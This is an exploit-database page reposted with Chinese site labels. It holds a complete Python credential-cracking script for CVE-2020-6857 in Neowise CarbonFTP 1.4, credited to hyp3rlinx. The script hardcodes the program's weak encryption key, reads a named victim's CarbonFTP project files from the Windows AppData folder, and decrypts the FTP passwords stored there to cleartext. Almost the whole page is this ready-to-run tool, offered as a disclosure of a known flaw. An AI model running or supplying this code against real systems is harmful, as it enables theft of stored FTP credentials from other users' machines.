Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption Exploit

作者 hyp3rlinx 风险 风险级别 - 高 0day-ID

0day-ID-34276

类别 remote exploits 添加日期 21-04-2020 CVE

CVE-2020-6857

平台 windows        
# Title: Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption
# Author: hyp3rlinx
# Vendor:
# CVE: CVE-2020-6857
 
import time, string, sys, argparse, os, codecs
 
#Fixed: updated for Python 3, the hex decode() function was not working in Python 3 version.
#This should be compatible for Python 2 and 3 versions now, tested successfully.
#Sample test password 
#LOOOOONGPASSWORD! = 219042273422734224782298223744247862350210947 
 
key="97F"  #2431 in decimal, the weak hardcoded encryption key within the vuln program.
chunk_sz=5 #number of bytes we must decrypt the password by.
 
#Password is stored here:
#C:\Users\\AppData\Roaming\Neowise\CarbonFTPProjects\.CFTP
 
#Neowise CarbonFTP v1.4
#Insecure Proprietary Password Encryption
#By John Page (aka hyp3rlinx)
#Apparition Security
#===================================================
 
def carbonftp_conf(conf_file):
    p=""
    pipe=-1
    passwd=""
    lst_of_passwds=[]
    try:
        for p in conf_file:
            idx = p.find("Password=STRING|")
            if idx != -1:
                pipe = p.find("|")
                if pipe != -1:
                    passwd = p[pipe + 2: -2]
                    print(" Password found: "+ passwd)
                    lst_of_passwds.append(passwd) 
    except Exception as e:
        print(str(e))
    return lst_of_passwds 
     
 
def reorder(lst):
    k=1
    j=0
    for n in range(len(lst)):
        k+=1
        j+=1
        try:
            tmp = lst[n+k]
            a = lst[n+j]
            lst[n+j] = tmp
            lst[n+k] = a
        except Exception as e:
            pass
    return ''.join(lst)
 
 
def dec2hex(dec):
    tmp = str(hex(int(dec)))
    return str(tmp[2:])
  
 
#Updated for Python version compatibility.
def hex2ascii(h):
    h=h.strip()
    passwd=""
    try:
        passwd = codecs.decode(h, "hex").decode("ascii")
    except Exception as e:
        print("[!] In hex2ascii(), not a valid hex string.")
        exit()
    return passwd
 
 
def chunk_passwd(passwd_lst):
    lst = []
    for passwd in passwd_lst:
        while passwd:
            lst.append(passwd[:chunk_sz])
            passwd = passwd[chunk_sz:]
    return lst
 
 
def strip_non_printable_char(str):
  return ''.join([x for x in str if ord(x) > 31 or ord(x)==9])
 
cnt = 0
passwd_str=""
def deob(c):
     
    global cnt, passwd_str
 
    tmp=""
 
    try:
        tmp = int(c) - int(key, 16)
        tmp = dec2hex(tmp)
    except Exception as e:
        print("[!] Not a valid CarbonFTP encrypted password.")
        exit()
 
    b=""
    a=""
 
     #Seems we can delete the second char as its most always junk.
    if cnt!=1:
        a = tmp[:2]
        cnt+=1
    else:
        b = tmp[:4]
         
    passwd_str += strip_non_printable_char(hex2ascii(a + b))
    hex_passwd_lst = list(passwd_str)
    return hex_passwd_lst
 
 
def no_unique_chars(lst):
    c=0
    k=1
    j=0
    for i in range(len(lst)):
        k+=1
        j+=1
        try:
            a = lst[i]
            b = lst[i+1]
            if a != b:
                c+=1
            elif c==0:
                print("[!] Possible one char password?: " +str(lst[0]))
                return lst[0]
        except Exception as e:
            pass
    return False
 
 
def decryptor(result_lst):
 
    global passwd_str, sz
 
    print(" Decrypting ... \n")
    for i in result_lst:
        print("[-] "+i)
        time.sleep(0.1)
        lst = deob(i)
 
    #Re-order chars to correct sequence using custom swap function (reorder).
    reordered_pass = reorder(lst)
    sz = len(reordered_pass)
 
    #Flag possible single char password.
    no_unique_chars(lst)
     
    print("[+] PASSWORD LENGTH: " + str(sz))
    if sz == 9:
        return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-3] + " | " + reordered_pass[:-4] + " | " +
                reordered_pass[:-5] +" | " + reordered_pass[:-6] + " | "+ reordered_pass[:-7] + " | " + reordered_pass)
     
    #Shorter passwords less then nine chars will have several candidates
    #as they get padded with repeating chars so we return those.
         
    passwd_str=""
    return reordered_pass
 
 
def display_cracked_passwd(sz, passwd):
    if sz==9:
        print("[*] PASSWORD CANDIDATES: "+ passwd + "\n")
    else:
        print("[*] DECRYPTED PASSWORD: "+passwd + "\n")
 
 
def parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--user", help="Username to crack a directory of Carbon .CFTP password files")
    parser.add_argument("-p", "--encrypted_password", help="Crack a single encrypted password")
    return parser.parse_args()
 
 
def main(args):
 
    global passwd_str, sz
    victim=""
 
    if args.user and args.encrypted_password:
        print("[!] Supply a victims username -u or single encrypted password -p, not both.")
        exit()
 
    print("[+] Neowise CarbonFTP v1.4")
    time.sleep(0.1)
    print("[+] CVE-2020-6857 Insecure Proprietary Password Encryption")
    time.sleep(0.1)
    print("[+] Version 2 Exploit fixed for Python 3 compatibility")
    time.sleep(0.1)
    print("[+] Discovered and cracked by hyp3rlinx")
    time.sleep(0.1)
    print("[+] ApparitionSec\n")
    time.sleep(1)
 
    #Crack a dir of carbonFTP conf files containing encrypted passwords -u flag.
    if args.user:
        victim = args.user
        os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/")
        dir_lst = os.listdir(".")
        for c in dir_lst:
            f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r")
            #Get encrypted password from conf file
            passwd_enc = carbonftp_conf(f)
            #Break up into 5 byte chunks as processed by the proprietary decryption routine.
            result_lst = chunk_passwd(passwd_enc)
            #Decrypt the 5 byte chunks and reassemble to the cleartext password.
            cracked_passwd = decryptor(result_lst)
            #Print cracked password or candidates.
            display_cracked_passwd(sz, cracked_passwd)
            time.sleep(0.3)
            passwd_str=""
            f.close()
 
 
    #Crack a single password -p flag.
    if args.encrypted_password:
        passwd_to_crack_lst = []
        passwd_to_crack_lst.append(args.encrypted_password)
        result = chunk_passwd(passwd_to_crack_lst)
        #Print cracked password or candidates.
        cracked_passwd = decryptor(result)
        display_cracked_passwd(sz, cracked_passwd)
 
 
if __name__=="__main__":
 
    parser = argparse.ArgumentParser()
 
    if len(sys.argv)==1:
        parser.print_help(sys.stderr)
        exit()
 
    main(parse_args())
 
#  0day.today [2020-04-24]  #

 

你可能感兴趣的:(安全漏洞,安全漏洞,windows)